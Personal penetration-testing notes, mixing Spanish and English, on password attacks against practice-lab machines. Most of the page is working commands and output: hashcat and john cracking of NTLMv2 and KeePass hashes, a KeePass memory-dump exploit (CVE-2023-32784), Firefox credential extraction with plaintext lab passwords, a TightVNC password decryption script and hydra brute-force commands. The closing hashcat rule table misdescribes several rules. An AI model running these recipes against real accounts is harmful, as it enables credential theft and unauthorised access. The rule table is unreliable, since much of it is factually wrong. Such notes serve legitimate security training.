Password attacks & Cracking¶

Para buscar el id de hashcat¶

hashcat --help | grep -i "NTLM"
hashcat --help | grep -i "KeePass"
En windows sería: .\hashcat.exe --help | findstr /i "NTLM"

NTLM password cracking¶

hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt

we got some hash with LLMNR poisoning via responder

[SMB] NTLMv2-SSP Client   : 172.16.5.130
[SMB] NTLMv2-SSP Username : INLANEFREIGHT\backupagent
[SMB] NTLMv2-SSP Hash     : backupagent::INLANEFREIGHT:<SERVER_CHALLENGE>:<NT_RESPONSE>:<NTLMV2_RESPONSE_BLOB>

save backupagent::INLANEFREIGHT:<SERVER_CHALLENGE>:<NT_RESPONSE>:<NTLMV2_RESPONSE_BLOB> en un .txt.
and now run: .\hashcat.exe -m 5600 -a 0 .\ntlmv2.txt .\rockyou.txt
-m 5600 especifica que es NTLMv2. -a 0 indica un ataque de diccionario. hashes.txt es el archivo con el hash NTLMv2.
rockyou.txt es el diccionario de contraseñas.

Example output:¶

PS C:\Users\Grunt\Desktop\hashcat-6.2.6> .\hashcat.exe -m 5600 -a 0 .\ntlmv2.txt .\rockyou.txt
hashcat (v6.2.6) starting

hiprtcCompileProgram is missing from HIPRTC shared library.

OpenCL API (OpenCL 2.1 AMD-APP (3628.0)) - Platform #1 [Advanced Micro Devices, Inc.]
=====================================================================================
* Device #1: AMD Radeon RX 6600, 8064/8176 MB (6732 MB allocatable), 14MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 245 MB

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

BACKUPAGENT::INLANEFREIGHT:d865666f39a9b532:01d7e2f5b84a3c82ce68d2811dcc234f:<NTLMV2_RESPONSE_BLOB>:h1backup55

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: BACKUPAGENT::INLANEFREIGHT:d865666f39a9b532:01d7e2f...000000
Time.Started.....: Thu Jan 16 08:34:36 2025 (1 sec)
Time.Estimated...: Thu Jan 16 08:34:37 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 13202.6 kH/s (5.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8257536/14344384 (57.57%)
Rejected.........: 0/8257536 (0.00%)
Restore.Point....: 7340032/14344384 (51.17%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ina&alessandro -> estampida02
Hardware.Mon.#1..: Temp: 54c Fan: 36% Util: 26% Core:1408MHz Mem:1742MHz Bus:8

Started: Thu Jan 16 08:34:22 2025
Stopped: Thu Jan 16 08:34:38 2025
PS C:\Users\Grunt\Desktop\hashcat-6.2.6>

Crack keepass database¶

┌──(kali㉿kali)-[~/Desktop/boxes/Keeper]
└─$ ls
passcodes.kdbx  req.txt

┌──(kali㉿kali)-[~/Desktop/boxes/Keeper]
└─$ keepass2john passcodes.kdbx > keephash.txt

┌──(kali㉿kali)-[~/Desktop/boxes/Keeper]
└─$ ls
keephash.txt  passcodes.kdbx  req.txt

Ahora con hashcat: hashcat -m 13400 keephash.txt /usr/share/wordlists/rockyou.txt
o con john: john --wordlist=/usr/share/wordlists/rockyou.txt keephash.txt

Buscar bases de datos de keepass¶

Windows: Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Linux: find / -type f -name "*.kdbx" 2>/dev/null

KEEPASS CVE-2023-32784¶

La vulnerabilidad CVE-2023-32784 es una falla en KeePass que permite recuperar la contraseña maestra de la memoria. Esta vulnerabilidad afecta a KeePass 2.x, y no requiere la ejecución de código en el sistema objetivo. La contraseña se puede recuperar desde un volcado de memoria del proceso, archivo de intercambio, archivo de hibernación, varios volcados de crash o un volcado de RAM del sistema completo.
Hay que instalar dotnet

# Agregar el repositorio de Microsoft
wget https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb

# Instalar el SDK de .NET 7.0
sudo apt-get update
sudo apt-get install -y dotnet-sdk-7.0

Luego hay que instalar KeePassPasswordDumper
dotnet run /ruta/al/.dmp
Luego algun que otro caracter va a quedar mal, pero se puede iterar sobre este caracter con python.
- recomiendo utilizar itertools + un string con los caracteres que se quieren probar.

import itertools
import sys

def generate_combinations(pattern, unknown_chars, output_file):
    # Lista de caracteres posibles para cada posición de la contraseña
    positions = []
    for char in pattern:
        if char == "●":
            positions.append(unknown_chars)
        else:
            positions.append(char)

    # Generar todas las combinaciones posibles
    with open(output_file, "w") as f:
        for combination in itertools.product(*positions):
            f.write(''.join(combination) + "\n")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Uso: python3 generate_passwords_param.py <pattern> <unknown_chars> <output_file>")
        sys.exit(1)

    pattern = sys.argv[1]
    unknown_chars = sys.argv[2]
    output_file = sys.argv[3]

    generate_combinations(pattern, unknown_chars, output_file)

chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
chars+="0123456789"
python3 generate_pass.py "●ødgrød med fløde" "$chars" "pass.txt"
hashcat -m 13400 keephash.txt pass.txt
john --wordlist=pass.txt keephash.txt

About john the ripper¶

The truth is that I don't give much importance to john the ripper, it is a very versatile tool but the power of hashcat is beyond comparison.

bcrypt cracking commands¶

hashcat -m 3200 -a 0 hash.txt rockyou.txt

Firefox Password dumper¶

Primero tenemos que ubicar si la maquina tiene firefox instalado, y si es así, tenemos que ubicar el perfil de firefox.
Para esto recomiendo utilizar winpeas

  [+] Looking for Firefox DBs
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
    Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
 ```

 - Una vez que tenemos el perfil, tenemos que copiar la carpeta `br53rxeg.default-release` a nuestra máquina. 
 - Podemos utilizar [firepwd](https://github.com/lclevy/firepwd) para extraer las contraseñas.

 ```bash
 ┌──(kali㉿kali)-[~/firepwd]
└─$ python3 firepwd.py
<SNIP>
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

TightVNC password attack¶

dentro de los registros de windows, podemos encontrar el tightvnc password en la siguiente ruta:
HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server
Que va a contener "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
En nuestra maquina atcante podemos utilizar un script que usa openssl para desencriptar la contraseña

#!/bin/bash

# Clave DES estática usada por TightVNC
KEY="e84ad660c4721ae0"

# Hex input (ej: 6bcf2a4b6e5aca0f)
read -p "Hexadecimal VNC password: " HEX

# Archivo temporal
ENC_FILE=$(mktemp)
DEC_FILE=$(mktemp)

# Convertir el hex a binario
echo "$HEX" | xxd -r -p > "$ENC_FILE"

# Desencriptar con OpenSSL usando DES-ECB
openssl enc -d -des-ecb -in "$ENC_FILE" -out "$DEC_FILE" -K "$KEY" -nopad 2>/dev/null

# Mostrar resultado
echo -n "La contraseña es: "
cat "$DEC_FILE"
echo

# Limpiar archivos temporales
rm "$ENC_FILE" "$DEC_FILE"

Dictionary Attack con hydra¶

Comando basico: hydra -l <user> -p <password> <ip> ssh/rdp/etc
- Generalmente el protocolo ftp es más veloz que ssh, por lo que se recomienda utilizar ftp para hacer pruebas de fuerza bruta.

Hydra HTTP post form¶

Abrí burp y agarrá la petición HTTP que quieras atacar.
- Revisá que el método sea POST y que tenga un body de incorrecto.
hydra -l <user> -p <password> <ip> http-post-form "/path/to/login:username=^USER^&password=^PASS^:F=incorrect"

Mutating Wordlists¶

Hashcat permite mutar wordlists para generar nuevas contraseñas a partir de una lista base. Esto es útil para crear variaciones de contraseñas comunes.
Hay reglas predefinidas que se pueden usar para mutar las contraseñas. Estas reglas pueden incluir agregar números, cambiar letras por números, etc.
hastcat -r rules/best64.rule -a 0 -m 0 hash.txt rockyou.txt
hashcat -r rules/best64.rule --stdout wordlist.txt: Esto va a imprimir en pantalla todas las contraseñas generadas a partir de la wordlist.

Mutación de rockyou¶

PS J:\hashcat> .\hashcat.exe -m 0 .\amy-md5.txt .\rockyou.txt -r .\rules\rockyou-30000.rule

Archivos .rule¶

Los archivos .rule son archivos de texto que contienen reglas para mutar contraseñas. Cada línea del archivo representa una regla.
Por ejemplo, una regla puede ser s/abc/123/, que reemplaza todas las ocurrencias de "abc" por "123" en las contraseñas.

Tabla de reglas comunes¶

Regla	Descripción
`$!`	Agrega un carácter especial `!` al final de la contraseña.
`$1`	Agrega el número `1` al final de la contraseña.
`^a`	Agrega la letra `a` al inicio de la contraseña.
`s/a/A/`	Reemplaza todas las ocurrencias de `a` con `A`.
`l`	Convierte toda la contraseña a minúsculas.
`u`	Convierte toda la contraseña a mayúsculas.
`c`	Capitaliza la primera letra de la contraseña.
`r`	Invierte el orden de los caracteres en la contraseña.
`d`	Duplica la contraseña.
`t0`	Trunca la contraseña a 0 caracteres (la vacía).
`p1`	Inserta el número `1` después de cada carácter de la contraseña.
`o`	Elimina todos los caracteres duplicados en la contraseña.
`x`	Elimina todos los caracteres no alfanuméricos de la contraseña.
`[3]`	Elimina el carácter en la posición 3 (índice basado en 0).
`D`	Elimina todos los dígitos de la contraseña.
`T0`	Trunca la contraseña después de 0 caracteres (la vacía).
`f`	Duplica la contraseña y la invierte, concatenándola al final.

Estas reglas pueden combinarse para crear mutaciones más complejas y personalizadas.